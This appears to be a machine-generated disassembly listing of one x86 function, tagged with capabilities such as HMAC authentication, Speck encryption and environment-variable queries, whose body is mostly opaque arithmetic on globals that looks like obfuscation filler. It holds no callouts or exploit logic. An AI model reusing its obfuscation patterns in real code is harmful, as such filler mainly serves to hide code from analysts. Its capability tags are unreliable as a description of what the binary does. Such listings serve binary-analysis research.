Function at 0x100394c0
Capabilities:
Authenticate hmac
Create directory
Encrypt data using speck
Get common file path
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100a5790
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x1ba0
call fcn.100999c0
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov eax, dword [0x100cd118]
mov dword [ebp - 0x78c], eax
mov ecx, dword [0x100cd118]
mov dword [ebp - 0x44], ecx
mov byte [ebp - 0x14], 4
movsx dx, byte [0x100cd047]
mov word [ebp - 0x2c], dx
mov byte [ebp - 0x11], 0x8f
mov dword [ebp - 0x60], 0x86
mov eax, 0x4e845
mov dword [ebp - 0x68], 0xd2b77042
mov dword [ebp - 0x64], eax
movsx cx, byte [0x100cd06f]
mov word [ebp - 0x24], cx
mov dl, byte [0x100cd0e0]
mov byte [ebp - 0x12], dl
mov eax, 0xffffd470
mov word [ebp - 0x34], ax
movsx ecx, word [0x100cd0e8]
mov dword [ebp - 0x5c], ecx
mov edx, 0x4bc1
mov word [ebp - 0x18], dx
mov dword [ebp - 0x4c], 0x5edf946d
mov eax, 0x4f93
mov word [ebp - 0x1c], ax
mov ecx, 0xe63e
mov word [ebp - 0x30], cx
movsx eax, byte [0x100cd083]
cdq
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], edx
xor edx, edx
mov dword [ebp - 0x80], 0x78
mov dword [ebp - 0x7c], edx
mov byte [ebp - 0x13], 0x7a
movzx eax, word [0x100cd10c]
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x48], 0x5e757388
mov ecx, dword [0x100cd0ac]
mov dword [ebp - 0x40], ecx
movzx eax, byte [0x100cd027]
cdq
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], edx
xor edx, edx
mov dword [ebp - 0x78], 0xa841
mov dword [ebp - 0x74], edx
mov ax, word [0x100cd0dc]
mov word [ebp - 0x20], ax
mov ecx, dword [0x100cd0a8]
mov word [ebp - 0x28], cx
mov eax, dword [0x100cd0ac]
cdq
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], edx
xor edx, edx
mov dword [ebp - 0x858], 0x567d9c7c
mov dword [ebp - 0x854], edx
mov byte [ebp - 0xad], 0xbf
mov ax, word [0x100cd084]
mov word [ebp - 0x688], ax
mov byte [ebp - 0xae], 0x6c
mov cx, word [0x100cd0ec]
mov word [ebp - 0x684], cx
mov byte [ebp - 0xb1], 0xd1
movzx edx, byte [0x100cd07f]
mov dword [ebp - 0x790], edx
xor eax, eax
mov dword [ebp - 0x860], 0xd2
mov dword [ebp - 0x85c], eax
mov ecx, dword [0x100cd0b0]
mov dword [ebp - 0x794], ecx
mov dx, word [0x100cd0d0]
mov word [ebp - 0x680], dx
movsx eax, byte [0x100cd083]
mov dword [ebp - 0x798], eax
mov cl, byte [str.6BlockUpgradeIfDriv]
mov byte [ebp - 0xb0], cl
mov edx, 0x51
mov word [ebp - 0x67c], dx
mov eax, 0xe972
mov word [ebp - 0x678], ax
mov cx, word [0x100cd0d0]
mov word [ebp - 0x674], cx
mov byte [ebp - 0xaf], 0x59
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x6a0], edx
mov dword [ebp - 0x69c], eax
mov ecx, dword [ebp - 0x69c]
cmp ecx, dword [ebp - 0x50]
jg 0x100396e1
jl 0x100396d5
mov edx, dword [ebp - 0x6a0]
cmp edx, dword [ebp - 0x54]
jae 0x100396e1
mov dword [ebp - 0x3d4], 1
jmp 0x100396eb
mov dword [ebp - 0x3d4], 0
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x6a8], eax
mov dword [ebp - 0x6a4], ecx
cmp dword [ebp - 0x6a4], 0
jg 0x1003971d
jl 0x10039711
cmp dword [ebp - 0x6a8], 0x28
jae 0x1003971d
mov dword [ebp - 0x11c], 1
jmp 0x10039727
mov dword [ebp - 0x11c], 0
mov edx, dword [ebp - 0x3d4]
cmp edx, dword [ebp - 0x11c]
jne 0x10039ae5
xor eax, eax
mov dword [ebp - 0x68], 2
mov dword [ebp - 0x64], eax
movsx ecx, byte [0x100cd047]
movzx edx, word [ebp - 0x24]
imul edx, ecx
mov byte [0x100cd06f], dl
mov eax, dword [ebp - 0x60]
xor ecx, ecx
mov edx, dword [0x100cd11c]
push edx
mov edx, dword [0x100cd118]
push edx
push ecx
push eax
call fcn.10099890
mov ecx, dword [ebp - 0x60]
add ecx, eax
mov dword [ebp - 0x60], ecx
movzx edx, word [ebp - 0x28]
sar edx, 6
mov dword [ebp - 0x48], edx
mov eax, dword [0x100cd0a0]
add eax, 1
mov ecx, dword [0x100cd0a4]
adc ecx, 0
mov dword [0x100cd0a0], eax
mov dword [0x100cd0a4], ecx
mov ecx, dword [0x100cd0c0]
mov edx, dword [0x100cd0c4]
mov dword [ebp - 0x79c], edx
mov eax, dword [0x100cd0c8]
cdq
mov esi, eax
add esi, ecx
mov eax, dword [0x100cd0c8]
cdq
sub eax, esi
mov dword [0x100cd0c8], eax
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x114], ecx
mov edx, dword [ebp - 0x118]
or edx, dword [ebp - 0x114]
je 0x1003981b
cmp dword [ebp - 0x118], 1
jne 0x10039800
cmp dword [ebp - 0x114], 0
je 0x100398c6
cmp dword [ebp - 0x118], 2
jne 0x10039816
cmp dword [ebp - 0x114], 0
je 0x1003998b
jmp 0x10039ae3
push 0
push 0x4081434b
mov eax, dword [ebp - 0x7c]
push eax
mov ecx, dword [ebp - 0x80]
push ecx
call fcn.10099890
mov byte [ebp - 0x11], al
movzx edx, byte [ebp - 0x12]
test edx, edx
jne 0x10039846
mov dword [ebp - 0x120], 1
jmp 0x10039850
mov dword [ebp - 0x120], 0
mov eax, dword [0x100cd0e4]
sub eax, dword [ebp - 0x120]
sub eax, dword [ebp - 0x40]
movsx ecx, word [0x100cd108]
not ecx
mov edx, dword [0x100cd104]
sub edx, ecx
movsx ecx, word [0x100cd108]
mov esi, dword [0x100cd090]
imul esi, ecx
sub esi, edx
and esi, eax
mov word [ebp - 0x1c], si
movsx edx, byte [0x100cd026]
sar edx, 7
mov word [0x100cd098], dx
movzx eax, word [ebp - 0x28]
movsx ecx, byte [ebp - 0x11]
xor ecx, eax
mov byte [ebp - 0x11], cl
mov edx, dword [ebp - 0x48]
xor eax, eax
mov ecx, dword [ebp - 0x50]
push ecx
mov ecx, dword [ebp - 0x54]
push ecx
push eax
push edx
call fcn.10099890
mov edx, dword [ebp - 0x48]
sub edx, eax
mov dword [ebp - 0x48], edx
jmp 0x10039ae3
movzx eax, word [0x100cd094]
test eax, eax
jne 0x100398dd
mov dword [ebp - 0x124], 1
jmp 0x100398e7
mov dword [ebp - 0x124], 0
movsx ecx, word [0x100cd0ec]
mov edx, dword [0x100cd0a8]
imul edx, ecx
xor edx, dword [ebp - 0x124]
mov word [0x100cd0dc], dx
mov eax, dword [0x100cd0a8]
xor eax, 0x79e3
movsx ecx, word [0x100cd0ec]
imul ecx, eax
mov word [0x100cd0ec], cx
mov edx, 1
imul eax, edx, 0x27d6
movzx ecx, byte [eax + 0x102f9f80]
movzx edx, byte [ebp - 0x12]
add edx, ecx
mov byte [ebp - 0x12], dl
movzx eax, word [0x100cd0b8]
cdq
sub eax, 0xf8c774cd
sbb edx, 0x560e3
mov dword [0x100cd0c0], eax
mov dword [0x100cd0c4], edx
movsx eax, word [0x100cd0ec]
cdq
sub eax, 0xce5884af
mov dword [0x100cd0c8], eax
movzx eax, word [0x100cd10c]
movsx ecx, word [0x100cd098]
lea edx, [ecx + eax - 0xac3c]
mov word [0x100cd098], dx
jmp 0x10039ae3
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
push 0
push 0x40a73386
push ecx
push eax
call fcn.10099890
mov byte [ebp - 0x12], al
movsx eax, byte [0x100cd047]
cdq
push edx
push eax
mov edx, dword [ebp - 0x6c]
push edx
mov eax, dword [ebp - 0x70]
push eax
call fcn.10099890
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], edx
movzx eax, byte [0x100cd06e]
sub eax, 0x30198b96
cdq
mov dword [0x100cd0b0], eax
mov dword [0x100cd0b4], edx
movsx ecx, word [0x100cd108]
movzx edx, byte [ebp - 0x13]
not edx
add edx, ecx
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 0x48]
shr eax, 3
mov word [ebp - 0x28], ax
mov ecx, dword [0x100cd0d0]
or ecx, dword [0x100cd0d4]
jne 0x10039a15
xor edx, edx
mov dword [ebp - 0x444], 1
mov dword [ebp - 0x440], edx
jmp 0x10039a20
xorps xmm0, xmm0
movlpd qword [ebp - 0x444], xmm0
cmp dword [0x100cd0e0], 0
jne 0x10039a3d
xor eax, eax
mov dword [ebp - 0x434], 1
mov dword [ebp - 0x430], eax
jmp 0x10039a48
xorps xmm0, xmm0
movlpd qword [ebp - 0x434], xmm0
mov ecx, dword [0x100cd118]
not ecx
mov edx, dword [0x100cd11c]
not edx
add ecx, dword [ebp - 0x434]
adc edx, dword [ebp - 0x430]
mov dword [ebp - 0x6b0], ecx
mov dword [ebp - 0x6ac], edx
mov eax, dword [ebp - 0x6b0]
or eax, dword [ebp - 0x6ac]
jne 0x10039a92
xor ecx, ecx
mov dword [ebp - 0x43c], 1
mov dword [ebp - 0x438], ecx
jmp 0x10039a9d
xorps xmm0, xmm0
movlpd qword [ebp - 0x43c], xmm0
movzx eax, word [0x100cd0b8]
cdq
mov ecx, dword [0x100cd0c0]
mov esi, dword [0x100cd0c4]
sub ecx, eax
sbb esi, edx
not ecx
not esi
mov edx, dword [ebp - 0x43c]
sub edx, ecx
mov eax, dword [ebp - 0x438]
sbb eax, esi
push eax
push edx
mov ecx, dword [ebp - 0x440]
push ecx
mov edx, dword [ebp - 0x444]
push edx
call fcn.10099890
mov dword [0x100cd084], eax
jmp 0x10039b63
movzx eax, word [ebp - 0x1c]
movsx ecx, word [0x100cd108]
sub ecx, eax
mov word [0x100cd108], cx
movzx edx, byte [0x100cd07f]
test edx, edx
je 0x10039b1a
movsx eax, word [0x100cd0e8]
cdq
mov dword [ebp - 0x44c], eax
mov dword [ebp - 0x448], edx
jmp 0x10039b31
mov eax, dword [0x100cd0f8]
mov ecx, dword [0x100cd0fc]
mov dword [ebp - 0x44c], eax
mov dword [ebp - 0x448], ecx
mov edx, dword [ebp - 0x44c]
mov dword [0x100cd0ac], edx
movsx eax, byte [0x100cd026]
sar eax, 3
mov dword [0x100cd084], eax
movzx ecx, word [ebp - 0x24]
add ecx, 0xd3
mov byte [0x100cd096], cl
mov dword [ebp - 0x4c], 0x425f
jmp 0x10039c79
mov dword [ebp - 4], 0xffffffff
jmp 0x10039c89
mov edx, dword [0x100cdb38]
mov dword [ebp - 0xb8], edx
movzx eax, word [ebp - 0x1c]
cdq
mov ecx, dword [0x100cd0b0]
sub ecx, eax
mov eax, dword [0x100cd0b4]
sbb eax, edx
mov edx, dword [0x100cd0b0]
sub edx, ecx
mov ecx, dword [0x100cd0b4]
sbb ecx, eax
mov dword [0x100cd0b0], edx
mov dword [0x100cd0b4], ecx
movzx edx, word [0x100cd0b8]
imul eax, edx, 0
xor eax, 0xffff79b0
mov byte [0x100cd06f], al
mov ecx, dword [0x100cd088]
mov esi, dword [0x100cd08c]
xor ecx, dword [ebp - 0x54]
xor esi, dword [ebp - 0x50]
movzx edx, word [ebp - 0x30]
movzx eax, byte [ebp - 0x14]
add eax, edx
cdq
push esi
push ecx
push edx
push eax
call fcn.10099890
mov dword [ebp - 0x6c8], eax
mov dword [ebp - 0x6c4], edx
mov eax, dword [ebp - 0x6c8]
or eax, dword [ebp - 0x6c4]
jne 0x10039d2d
xor ecx, ecx
mov dword [ebp - 0x6e0], 1
mov dword [ebp - 0x6dc], ecx
jmp 0x10039d38
xorps xmm0, xmm0
movlpd qword [ebp - 0x6e0], xmm0
movsx edx, byte [ebp - 0x11]
test edx, edx
jne 0x10039d54
xor eax, eax
mov dword [ebp - 0x454], 1
mov dword [ebp - 0x450], eax
jmp 0x10039d5f
xorps xmm0, xmm0
movlpd qword [ebp - 0x454], xmm0
mov ecx, dword [ebp - 0x68]
mov edx, dword [ebp - 0x64]
add ecx, dword [ebp - 0x454]
adc edx, dword [ebp - 0x450]
mov dword [ebp - 0x6d0], ecx
mov dword [ebp - 0x6cc], edx
mov eax, dword [ebp - 0x6d0]
or eax, dword [ebp - 0x6cc]
jne 0x10039d9f
xor ecx, ecx
mov dword [ebp - 0x6d8], 1
mov dword [ebp - 0x6d4], ecx
jmp 0x10039daa
xorps xmm0, xmm0
movlpd qword [ebp - 0x6d8], xmm0
mov ecx, dword [0x100cd088]
mov edx, dword [0x100cd08c]
mov dword [ebp - 0x7a4], edx
movsx eax, word [ebp - 0x34]
cdq
or eax, ecx
mov ecx, dword [ebp - 0x6d8]
sub ecx, eax
mov edx, dword [ebp - 0x6e0]
sub edx, ecx
mov word [ebp - 0x34], dx
movzx eax, byte [0x100cd027]
cdq
push 0xe2296
push 0x4d09c643
push edx
push eax
call fcn.10099890
mov byte [str.6BlockUpgradeIfDriv], al
movzx eax, byte [0x100cd07f]
cdq
mov ecx, dword [0x100cd088]
mov esi, dword [0x100cd08c]
push edx
push eax
push esi
push ecx
call fcn.10099890
mov dword [0x100cd088], eax
mov dword [0x100cd08c], edx
mov edx, dword [ebp - 0xb8]
add edx, 0x2f0
mov dword [ebp - 0x83c], edx
mov dword [0x100cd100], 0x806b1e05
mov eax, dword [0x100cd0d0]
add eax, 0xac
mov byte [0x100cd096], al
movzx ecx, byte [ebp - 0x13]
add ecx, 0x29
mov word [ebp - 0x1c], cx
movsx edx, byte [0x100cd047]
test edx, edx
je 0x10039e6a
movsx eax, word [ebp - 0x2c]
mov dword [ebp - 0x128], eax
jmp 0x10039e76
mov ecx, dword [0x100cd0a8]
mov dword [ebp - 0x128], ecx
mov edx, dword [ebp - 0x128]
xor eax, eax
mov dword [ebp - 0x78], edx
mov dword [ebp - 0x74], eax
mov ecx, dword [ebp - 0xb8]
add ecx, 0x348
mov dword [ebp - 0x4f0], ecx
push 0xa0
call fcn.1005de10
add esp, 4
mov word [ebp - 0x1c], ax
movzx edx, word [ebp - 0x1c]
test edx, edx
je 0x10039ec3
mov eax, dword [0x100cd0d0]
push eax
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov byte [ebp - 0x11], al
jmp 0x10039f4b
mov cl, byte [0x100cd118]
mov edx, 1
shl edx, 7
mov byte [edx + 0x1024d150], cl
movsx eax, byte [0x100cd026]
movzx ecx, byte [ebp - 0x14]
imul ecx, eax
add ecx, dword [0x100cd0a8]
xor edx, edx
mov dword [0x100cd0b0], ecx
mov dword [0x100cd0b4], edx
imul eax, dword [0x100cd0e4], 0x4030
mov byte [str.6BlockUpgradeIfDriv], al
movsx eax, word [ebp - 0x34]
cdq
mov ecx, 8
imul ecx, ecx, 0x1bb4
mov dword [ecx + 0x1045f730], eax
mov dword [ecx + 0x1045f734], edx
movsx edx, word [ebp - 0x2c]
add edx, 0x2e8386a7
imul edx, dword [ebp - 0x60]
mov dword [ebp - 0x60], edx
mov al, byte [0x100cd118]
mov ecx, 1
imul edx, ecx, 0xd16
mov byte [edx + 0x103784f0], al
mov eax, dword [ebp - 0xb8]
add eax, 0x1cc
mov dword [ebp - 0xe0], eax
mov byte [ebp - 0x12], 4
mov ecx, dword [ebp - 0x40]
movzx eax, word [0x100cd094]
not eax
cdq
mov esi, eax
sub esi, dword [ebp - 0x70]
sub esi, ecx
movsx edx, byte [0x100cd096]
not edx
movsx eax, word [ebp - 0x20]
add eax, edx
movsx ecx, word [ebp - 0x34]
imul eax, ecx
cdq
sub eax, esi
mov dword [ebp - 0x4c], eax
mov byte [ebp - 0x11], 8
mov edx, dword [0x100cd104]
add edx, dword [ebp - 0x4c]
mov eax, dword [0x100cd104]
add eax, edx
mov dword [0x100cd104], eax
mov ecx, 0x5f5
mov word [0x100cd0ec], cx
mov byte [0x100cd096], 4
movzx edx, byte [ebp - 0x12]
mov dword [ebp - 0x12c], edx
cmp dword [ebp - 0x12c], 4
ja case.default.0x10039fd9
mov eax, dword [ebp - 0x12c]
jmp dword [eax*4 + 0x100423e4]
mov eax, dword [0x100cd0c8]
cdq
add eax, dword [0x100cd118]
adc edx, dword [0x100cd11c]
mov dword [0x100cd118], eax
mov dword [0x100cd11c], edx
mov ecx, 1
shl ecx, 2
movsx edx, byte [ecx + 0x10419990]
movsx eax, byte [0x100cd096]
sub eax, edx
mov byte [0x100cd096], al
mov ecx, dword [ebp - 0x60]
add ecx, 0x10
mov dword [0x100cd0a8], ecx
movzx edx, byte [ebp - 0x12]
imul eax, edx, 0xdc461f0c
mov byte [0x100cd06e], al
movzx ecx, byte [ebp - 0x14]
imul ecx, dword [0x100cd100]
movzx edx, byte [ebp - 0x14]
sub edx, ecx
mov byte [ebp - 0x14], dl
jmp case.default.0x10039fd9
mov ax, word [0x100cd0d0]
mov word [ebp - 0x30], ax
movsx ecx, byte [0x100cd096]
movzx edx, word [0x100cd0b8]
sub edx, ecx
mov word [0x100cd0b8], dx
mov eax, dword [ebp - 0x5c]
add eax, 0xb291
mov word [ebp - 0x2c], ax
movsx ecx, word [0x100cd0dc]
xor ecx, 0x9756fe21
mov word [ebp - 0x1c], cx
movzx edx, word [ebp - 0x24]
movsx eax, byte [0x100cd083]
add eax, edx
movsx ecx, byte [0x100cd083]
sub ecx, eax
mov byte [0x100cd083], cl
jmp case.default.0x10039fd9
mov edx, dword [ebp - 0x44]
sub edx, 0x88
mov word [0x100cd0ec], dx
movzx eax, byte [ebp - 0x13]
movzx ecx, word [ebp - 0x30]
imul ecx, eax
movzx edx, word [ebp - 0x30]
xor edx, ecx
mov word [ebp - 0x30], dx
movzx eax, byte [0x100cd027]
add eax, 0x4079
mov word [0x100cd094], ax
movsx ecx, word [0x100cd108]
movsx edx, byte [ebp - 0x11]
imul edx, ecx
mov byte [ebp - 0x11], dl
movzx eax, byte [ebp - 0x13]
test eax, eax
jne 0x1003a111
xor ecx, ecx
mov dword [ebp - 0x45c], 1
mov dword [ebp - 0x458], ecx
jmp 0x1003a11c
xorps xmm0, xmm0
movlpd qword [ebp - 0x45c], xmm0
mov edx, dword [0x100cd0c0]
mov eax, dword [0x100cd0c4]
mov ecx, dword [ebp - 0x458]
push ecx
mov ecx, dword [ebp - 0x45c]
push ecx
push eax
push edx
call fcn.10099890
mov esi, eax
movzx eax, byte [0x100cd027]
not eax
cdq
mov ecx, dword [ebp - 0x74]
push ecx
mov ecx, dword [ebp - 0x78]
push ecx
push edx
push eax
call fcn.10099890
mov ecx, eax
sub ecx, esi
not ecx
movzx edx, word [ebp - 0x24]
not edx
movsx eax, word [0x100cd108]
imul eax, edx
movzx edx, word [0x100cd0b8]
imul eax, edx
cdq
sub eax, ecx
mov dword [ebp - 0x5c], eax
movzx eax, byte [ebp - 0x12]
cdq
xor eax, dword [ebp - 0x80]
xor edx, dword [ebp - 0x7c]
mov dword [ebp - 0x6e8], eax
mov dword [ebp - 0x6e4], edx
mov eax, dword [ebp - 0x6e8]
or eax, dword [ebp - 0x6e4]
jne 0x1003a1b6
xor ecx, ecx
mov dword [ebp - 0x6f0], 1
mov dword [ebp - 0x6ec], ecx
jmp 0x1003a1c1
xorps xmm0, xmm0
movlpd qword [ebp - 0x6f0], xmm0
movsx eax, byte [0x100cd096]
cdq
add eax, dword [0x100cd118]
sub eax, dword [ebp - 0x6f0]
mov dword [ebp - 0x5c], eax
jmp case.default.0x10039fd9
mov edx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x7a8], eax
sub edx, 0xf7a60f62
mov byte [ebp - 0x14], dl
movsx ecx, byte [0x100cd083]
movzx edx, word [ebp - 0x1c]
add edx, ecx
mov word [ebp - 0x1c], dx
movzx eax, word [ebp - 0x18]
sub eax, 0x22a8
mov ecx, dword [0x100cd0f0]
imul ecx, eax
mov dword [0x100cd0f0], ecx
push 0
push 0x76
mov edx, dword [0x100cd11c]
push edx
mov eax, dword [0x100cd118]
push eax
call fcn.10099890
mov word [ebp - 0x34], ax
mov ecx, dword [ebp - 0x70]
or ecx, dword [ebp - 0x6c]
jne 0x1003a251
xor edx, edx
mov dword [ebp - 0x6f8], 1
mov dword [ebp - 0x6f4], edx
jmp 0x1003a25c
xorps xmm0, xmm0
movlpd qword [ebp - 0x6f8], xmm0
mov eax, dword [0x100cd0b0]
or eax, dword [0x100cd0b4]
jne 0x1003a275
mov dword [ebp - 0x134], 1
jmp 0x1003a27f
mov dword [ebp - 0x134], 0
movsx ecx, word [ebp - 0x34]
test ecx, ecx
jne 0x1003a293
mov dword [ebp - 0x130], 1
jmp 0x1003a29d
mov dword [ebp - 0x130], 0
mov eax, dword [ebp - 0x130]
add eax, 0x7226
cdq
mov ecx, eax
movzx edx, byte [0x100cd027]
mov eax, edx
imul eax, dword [ebp - 0x134]
cdq
mov edx, dword [ebp - 0x3c]
mov esi, dword [ebp - 0x38]
mov dword [ebp - 0x7ac], esi
add edx, dword [ebp - 0x6f8]
xor edx, eax
not edx
xor edx, ecx
mov word [0x100cd0d8], dx
jmp case.default.0x10039fd9
movsx eax, word [ebp - 0x20]
sub eax, 0x2980de28
mov byte [ebp - 0x11], al
movzx ecx, byte [ebp - 0x13]
movsx eax, word [0x100cd0e8]
xor eax, ecx
cdq
mov esi, eax
mov edi, edx
mov edx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x64]
not edx
not eax
push eax
push edx
mov ecx, dword [0x100cd0b4]
push ecx
mov edx, dword [0x100cd0b0]
push edx
call fcn.10099890
push edi
push esi
push edx
push eax
call fcn.10099890
mov esi, eax
mov edi, edx
mov eax, dword [0x100cd084]
xor ecx, ecx
sub eax, dword [0x100cd0d0]
sbb ecx, dword [0x100cd0d4]
push 0
push 0xf95f
push ecx
push eax
call fcn.10099890
sub eax, esi
sbb edx, edi
mov dword [0x100cd0a0], eax
mov dword [0x100cd0a4], edx
movsx eax, word [0x100cd0e8]
cdq
sub eax, dword [0x100cd0d0]
mov word [0x100cd0e8], ax
movsx eax, word [0x100cd0d8]
sub eax, 0xaf
cdq
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], edx
mov edx, dword [0x100cdb38]
mov dword [ebp - 0xc4], edx
movsx eax, byte [ebp - 0x11]
imul ecx, eax, 0x9aaf
mov byte [ebp - 0x11], cl
movsx eax, byte [0x100cd096]
cdq
mov ecx, dword [ebp - 0x3c]
mov esi, dword [ebp - 0x38]
add ecx, eax
adc esi, edx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x38], esi
movsx edx, word [ebp - 0x2c]
add edx, 0x865d
mov eax, dword [0x100cd0a8]
add eax, edx
mov dword [0x100cd0a8], eax
mov ecx, dword [ebp - 0x78]
add ecx, 0xe047571f
mov byte [ebp - 0x11], cl
cmp dword [0x100cd0e4], 0
jne 0x1003a3e9
mov dword [ebp - 0x138], 1
jmp 0x1003a3f3
mov dword [ebp - 0x138], 0
mov edx, dword [ebp - 0x138]
sub edx, 0x5119
mov word [ebp - 0x28], dx
mov eax, dword [ebp - 0xc4]
add eax, 0x289
mov dword [ebp - 0x4f4], eax
mov dword [ebp - 0xbc], 0
jmp 0x1003a42f
mov ecx, dword [ebp - 0xbc]
add ecx, 1
mov dword [ebp - 0xbc], ecx
cmp dword [ebp - 0xbc], 0x311
jge 0x1003a682
mov dword [ebp - 0xc0], 0x1e9
jmp 0x1003a45a
mov edx, dword [ebp - 0xc0]
sub edx, 1
mov dword [ebp - 0xc0], edx
cmp dword [ebp - 0xc0], 0
jle 0x1003a66e
movsx eax, word [0x100cd0e8]
cmp dword [0x100cd0f0], eax
jae 0x1003a482
mov dword [ebp - 0x13c], 1
jmp 0x1003a48c
mov dword [ebp - 0x13c], 0
movsx ecx, byte [0x100cd047]
cmp dword [ebp - 0x13c], ecx
jge 0x1003a4a7
mov dword [ebp - 0x144], 1
jmp 0x1003a4b1
mov dword [ebp - 0x144], 0
movsx edx, word [0x100cd0ec]
movsx eax, byte [str.6BlockUpgradeIfDriv]
cmp eax, edx
je 0x1003a4cf
mov dword [ebp - 0x140], 1
jmp 0x1003a4d9
mov dword [ebp - 0x140], 0
mov ecx, dword [ebp - 0x44]
not ecx
mov edx, dword [ebp - 0x140]
not edx
cmp edx, ecx
jbe 0x1003a4f6
mov dword [ebp - 0x148], 1
jmp 0x1003a500
mov dword [ebp - 0x148], 0
mov eax, dword [ebp - 0x144]
sub eax, dword [ebp - 0x148]
je 0x1003a584
imul ecx, dword [0x100cd0e0], 0xbb
mov dword [0x100cd0ac], ecx
movsx edx, word [ebp - 0x2c]
movzx eax, word [ebp - 0x30]
imul eax, edx
movzx ecx, word [ebp - 0x30]
or ecx, eax
mov word [ebp - 0x30], cx
movsx edx, word [0x100cd108]
imul eax, edx, 0x12
cdq
add eax, dword [ebp - 0x80]
adc edx, dword [ebp - 0x7c]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
cmp dword [0x100cd090], 0
jne 0x1003a55f
mov dword [ebp - 0x14c], 1
jmp 0x1003a569
mov dword [ebp - 0x14c], 0
mov eax, dword [0x100cd0e4]
sub eax, dword [0x100cd0f0]
sub eax, dword [ebp - 0x14c]
mov byte [0x100cd083], al
jmp 0x1003a659
mov ecx, 0x85c74c67
test ecx, ecx
je 0x1003a659
movzx edx, word [ebp - 0x18]
imul eax, edx, 0xeb38059c
mov byte [0x100cd027], al
movsx ecx, word [0x100cd0d8]
not ecx
movsx edx, word [0x100cd098]
imul edx, ecx
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x40], 0x5c4a6f51
movsx eax, byte [str.6BlockUpgradeIfDriv]
movsx ecx, word [0x100cd0d8]
sub ecx, eax
movsx edx, word [0x100cd0d8]
xor edx, ecx
mov word [0x100cd0d8], dx
mov eax, dword [0x100cd0f8]
or eax, dword [0x100cd0fc]
jne 0x1003a5f6
mov dword [ebp - 0x150], 1
jmp 0x1003a600
mov dword [ebp - 0x150], 0
movsx ecx, byte [ebp - 0x11]
imul ecx, dword [0x100cd0e0]
movsx edx, word [0x100cd0dc]
movzx eax, byte [0x100cd082]
imul eax, edx
imul eax, ecx
test eax, eax
jne 0x1003a62f
mov dword [ebp - 0x154], 1
jmp 0x1003a639
mov dword [ebp - 0x154], 0
movzx ecx, word [ebp - 0x28]
movsx edx, byte [ebp - 0x11]
imul edx, dword [ebp - 0x150]
sub edx, ecx
not edx
add edx, dword [ebp - 0x154]
mov word [0x100cd0b8], dx
mov ax, word [0x100cd110]
add ax, 1
mov word [0x100cd110], ax
jmp 0x1003a44b
mov cl, byte [0x100cd026]
add cl, 1
mov byte [0x100cd026], cl
jmp 0x1003a420
mov edx, dword [ebp - 0xc4]
add edx, 0xe0
mov dword [ebp - 0x7b0], edx
mov byte [ebp - 0x11], 1
mov byte [ebp - 0x13], 1
movzx eax, byte [ebp - 0x14]
test eax, eax
jne 0x1003a6b8
xor ecx, ecx
mov dword [ebp - 0x464], 1
mov dword [ebp - 0x460], ecx
jmp 0x1003a6c3
xorps xmm0, xmm0
movlpd qword [ebp - 0x464], xmm0
mov eax, dword [ebp - 0x4c]
cdq
xor eax, 0x8ea5cab8
xor edx, 0x8d877
mov dword [ebp - 0x700], eax
mov dword [ebp - 0x6fc], edx
mov edx, dword [ebp - 0x700]
or edx, dword [ebp - 0x6fc]
jne 0x1003a700
xor eax, eax
mov dword [ebp - 0x46c], 1
mov dword [ebp - 0x468], eax
jmp 0x1003a70b
xorps xmm0, xmm0
movlpd qword [ebp - 0x46c], xmm0
movzx ecx, byte [ebp - 0x12]
movzx edx, word [ebp - 0x24]
sub edx, ecx
movsx eax, word [0x100cd0ec]
movsx ecx, word [ebp - 0x2c]
imul ecx, eax
imul ecx, edx
test ecx, ecx
jne 0x1003a73e
xor edx, edx
mov dword [ebp - 0x474], 1
mov dword [ebp - 0x470], edx
jmp 0x1003a749
xorps xmm0, xmm0
movlpd qword [ebp - 0x474], xmm0
mov eax, dword [0x100cd088]
mov ecx, dword [0x100cd08c]
xor eax, dword [ebp - 0x464]
xor ecx, dword [ebp - 0x460]
mov edx, dword [ebp - 0x468]
push edx
mov edx, dword [ebp - 0x46c]
push edx
push ecx
push eax
call fcn.10099890
sub eax, dword [ebp - 0x474]
sbb edx, dword [ebp - 0x470]
mov dword [ebp - 0x708], eax
mov dword [ebp - 0x704], edx
mov eax, dword [ebp - 0x708]
or eax, dword [ebp - 0x704]
jne 0x1003a7a9
mov ecx, 1
mov word [ebp - 0x9c], cx
jmp 0x1003a7b2
xor edx, edx
mov word [ebp - 0x9c], dx
mov ax, word [ebp - 0x9c]
mov word [ebp - 0x34], ax
movsx ecx, word [ebp - 0x2c]
mov edx, dword [0x100cd090]
imul edx, ecx
mov eax, dword [0x100cd090]
sub eax, edx
mov dword [0x100cd090], eax
mov ecx, dword [0x100cd0f8]
or ecx, dword [0x100cd0fc]
je 0x1003a7fd
mov edx, dword [0x100cd088]
mov eax, dword [0x100cd08c]
mov dword [ebp - 0x47c], edx
mov dword [ebp - 0x478], eax
jmp 0x1003a80f
mov ecx, dword [ebp - 0x68]
mov edx, dword [ebp - 0x64]
mov dword [ebp - 0x47c], ecx
mov dword [ebp - 0x478], edx
mov ax, word [ebp - 0x47c]
mov word [0x100cd108], ax
xor ecx, ecx
mov dword [0x100cd0a0], 0x5c
mov dword [0x100cd0a4], ecx
mov edx, dword [ebp - 0xc4]
add edx, 0x25e
mov dword [ebp - 0xec], edx
